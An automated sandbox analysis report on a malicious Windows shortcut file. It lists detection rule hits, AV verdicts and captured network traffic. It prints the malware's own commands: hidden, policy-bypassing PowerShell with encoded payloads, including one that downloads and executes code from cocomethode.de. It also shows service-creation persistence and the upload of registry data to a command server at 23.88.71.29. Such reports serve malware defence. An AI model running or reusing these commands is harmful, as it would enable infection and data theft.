AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcA

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\Temp\myRdpService.exe cakoi10, ParentImage: C:\Windows\Temp\myRdpService.exe, ParentProcessId: 4300, ParentProcessName: myRdpService.exe, ProcessCommandLine: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=, ProcessId: 4180, ProcessName: cmd.exe

Sigma detected: Dynamic CSharp Compile Artefact

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 8860, TargetFilename: C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5960, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 4376, ProcessName: net.exe

Sigma detected: New Service Creation Using Sc.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , CommandLine|base64offset|contains: H, Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5960, ParentProcessName: cmd.exe, ProcessCommandLine: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto , ProcessId: 5680, ProcessName: sc.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA==" , CommandLine: PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcA

Sigma detected: SC.EXE Query Execution

Source: Process started

Author: frack113: Data: Command: sc query myRdpService, CommandLine: sc query myRdpService, CommandLine|base64offset|contains: , Image: C:\Windows\System32\sc.exe, NewProcessName: C:\Windows\System32\sc.exe, OriginalFileName: C:\Windows\System32\sc.exe, ParentCommandLine: "cmd.exe" /c sc query myRdpService, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 9628, ParentProcessName: cmd.exe, ProcessCommandLine: sc query myRdpService, ProcessId: 9724, ProcessName: sc.exe

Sigma detected: Start Windows Service Via Net.EXE

Source: Process started

Author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community: Data: Command: net start "myRdpService", CommandLine: net start "myRdpService", CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5960, ParentProcessName: cmd.exe, ProcessCommandLine: net start "myRdpService", ProcessId: 4376, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, CommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 876, ProcessCommandLine: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc, ProcessId: 2672, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline", CommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline", CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBjAE8ARABpAE4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AHIASQBOAGcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBtAFkAawBvADEAWgBYAGcAPQAiACkAKQApACkALgBDAE8AbgB0AGUAbgB0ACkAKQA= , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 8860, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\cmtdzwyg\cmtdzwyg.cmdline", ProcessId: 9180, ProcessName: csc.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T12:14:24.859241+0100	2028371	3	Unknown Traffic	192.168.11.30	49813	96.7.218.33	443	TCP
2024-12-11T12:15:28.325262+0100	2028371	3	Unknown Traffic	192.168.11.30	49838	96.7.218.33	443	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T12:16:07.357928+0100	2803305	3	Unknown Traffic	192.168.11.30	49840	172.67.128.139	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T12:14:26.506019+0100	2803274	2	Potentially Bad Traffic	192.168.11.30	49814	172.67.128.139	443	TCP
2024-12-11T12:14:28.701098+0100	2803274	2	Potentially Bad Traffic	192.168.11.30	49816	172.67.128.139	443	TCP
2024-12-11T12:14:30.435575+0100	2803274	2	Potentially Bad Traffic	192.168.11.30	49818	172.67.128.139	443	TCP
2024-12-11T12:14:53.857220+0100	2803274	2	Potentially Bad Traffic	192.168.11.30	49832	172.67.128.139	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb1124113c3b608f92dddb20455	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb247857	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba12e5825a5750703ef3cef2645c84b2ae	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/211	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bdf5a6c61b32c775e3922a7a7	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4613132176855e90827b93484d9303b9e360e0312cee54aa3cf6665282a09eba8222b906c8149f28e41ff30a4ef5b48c5503cc241b4591a2667faf3adb	Avira URL Cloud: Label: malware
Source: http://cocomethode.de	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/30bb492ec87899a2b4a8fa5c9eeec4695bfb20347d487db9d7c0bde27a5e0ba5eac5fd4	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee5181fc72e5e8a3af5de84a2efdf46556ce4b18f9a9058f02baeebba47957ff9a00fd3cbdf5afdb4554ef95d156bde153a4128333e118ea47d1e765bd042ad4fe0ce742b114df2225de5259d39230	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62f	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/StaticFile/RdpService/17	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a0	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba12e5825a57507	Avira URL Cloud: Label: malware
Source: http://cocomethode.de/api/check	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/fbJ5ex	Avira URL Cloud: Label: malware
Source: https://cocomethode.de	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe976627	Avira URL Cloud: Label: malware
Source: https://login.live.co	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/0581aba62a106ea04cdf6f3772592fc1199b70b957cfe082abf00cb9a2df1f568594743	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/961e923217e6366fedc4ef058b135504177a85e5d4a3d3fefcd20dd6a4bae06bb2478574061f4b658389b7a7e3af43a85c5ecfdccd06bf7c5b886bdbae4ac14dbe3d1d4a64907f793a1a16c53af422f92d9f2cb7175cf67cfe6348ff0758c34fdc8e2257e8a3d657133dc4ebec8eb034	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba1f376859e645b	Avira URL Cloud: Label: malware
Source: https://account.live.co	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/b2363232f108a7db06ff607ea8c50137aec629784f39f036dcd79f8d1b73a6efe97662716e1240e5e6f40650c8b01fcf788ad0bf17456ac62aa074a542cbf6de1e0229e2f9f8d075ea492fd271b6e8da5c805a00296560634cab2366c0781d856a032564ab3a4d41c92c82c96382a43b	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/file2/5a0471e79676f6960f268adf43164cb8fc84dce8007a24a8c9bcf6acf05c2f43f1ee518	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba5f06aeb112411	Avira URL Cloud: Label: malware
Source: https://cocomethode.de/609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596ba2a217498ce7a05806d6938e5ae2193a4	Avira URL Cloud: Label: malware
Source: http://cocomethode.de:443/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: rRtGI3L0ca.lnk	ReversingLabs: Detection: 28%
Source: rRtGI3L0ca.lnk	Virustotal: Detection: 34%			Perma Link

Machine Learning detection for sample

Source: rRtGI3L0ca.lnk

Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Directory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49821 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.128.139:443 -> 192.168.11.30:49840 version: TLS 1.2

Source:	Binary string: Microsoft.AppV.AppvClientComConsumer.ni.pdb source: powershell.exe, 00000009.00000002.474829314201.00007FFEB1063000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: Cn.pdb* source: powershell.exe, 00000009.00000002.474814907075.0000018AE7F68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.AppV.AppvClientComConsumer.ni.pdbRSDSk source: powershell.exe, 00000009.00000002.474829314201.00007FFEB1063000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: Microsoft.AppV.AppvClientComConsumer.pdbGCTL source: powershell.exe, 00000009.00000002.474829314201.00007FFEB1063000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: n.pdboDpq source: powershell.exe, 0000000F.00000002.475939915498.0000023BA2200000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.AppV.AppvClientComConsumer.pdb source: powershell.exe, 00000009.00000002.474829314201.00007FFEB1063000.00000020.00000001.01000000.00000007.sdmp
Source:	Binary string: n.pdbr source: powershell.exe, 00000009.00000002.474814907075.0000018AE7F68000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Management.Automation.pdb8/& source: powershell.exe, 00000009.00000002.474811709455.0000018AE7DB1000.00000004.00000020.00020000.00000000.sdmp

Networking

Potential dropper URLs found in powershell memory

Source: powershell.exe, 0000000F.00000002.475773046858.0000023B9A9E8000.00000004.00000800.00020000.00000000.sdmp

String found in memory: <   "><a href="http://style="float:left;concerned with the=http%3A%2F%2Fwww.in popular culturetype="text/css" />it is possible to Harvard Universitytylesheet" href="/the main characterOxford University name="keywords" cstyle="text-align:the United Kingdomfederal government<div style="margin depending on the description of the<div class="header.min.js"></script>destruction of theslightly differentin accordance withtelecommunicationsindicates that theshortly thereafterespecially in the European countriesHowever, there aresrc="http://staticsuggested that the" src="http://www.a large number of Telecommunications" rel="nofollow" tHoly Roman Emperoralmost exclusively" border="0" alt="Secretary of Stateculminating in theCIA World Factbookthe most importantanniversary of thestyle="background-<li><em><a href="/the Atlantic Oceanstrictly speaking,shortly before thedifferent types ofthe Ottoman Empire><img src="http://An Introduction toconsequence of thedeparture from theConfederate Statesindigenous peoplesProceedings of theinformation on thetheories have beeninvolvement in thedivided into threeadjacent countriesis responsible fordissolution of thecollaboration withwidely regarded ashis contemporariesfounding member ofDominican Republicgenerally acceptedthe possibility ofare also availableunder constructionrestoration of thethe general publicis almost entirelypasses through thehas been suggestedcomputer and videoGermanic languages according to the different from theshortly afterwardshref="https://www.recent developmentBoard of Directors<div class="search| <a href="http://In particular, theMultiple footnotesor other substancethousands of yearstranslation of the</div>

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 8000
Source: unknown	Network traffic detected: HTTP traffic on port 8000 -> 49844

Source: global traffic

TCP traffic: 192.168.11.30:49842 -> 23.88.71.29:8000

Source: global traffic	HTTP traffic detected: GET /StaticFile/RdpService/17 HTTP/1.1Host: cocomethode.de
Source: global traffic	HTTP traffic detected: GET /api/check HTTP/1.1Host: cocomethode.deConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: 7oXiB4YgSk+gCYoJhUsvsQ==Sec-WebSocket-Version: 13
Source: global traffic	HTTP traffic detected: POST /api/registry HTTP/1.1Host: 23.88.71.29:8000Connection: Keep-AliveContent-Type: application/jsonContent-Length: 102Data Raw: 22 45 43 41 34 45 37 46 36 34 35 43 45 41 42 43 46 31 34 31 44 36 30 32 43 43 33 30 38 39 36 37 32 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22 Data Ascii: "ECA4E7F645CEABCF141D602CC3089672\|Microsoft Windows 10 Pro\|10.0.19042 N/A Build 19042-10.0.19041.1081"
Source: global traffic	HTTP traffic detected: POST /api/registry/upload/6cce7182d50ed3d7e611466cceafa5e2 HTTP/1.1Host: 23.88.71.29:8000Connection: Keep-AliveContent-Type: multipart/form-data; boundary=---------------------8dd19ab547cdb55Content-Length: 5689Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 39 61 62 35 34 37 63 64 62 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 54 00 65 00 72 00 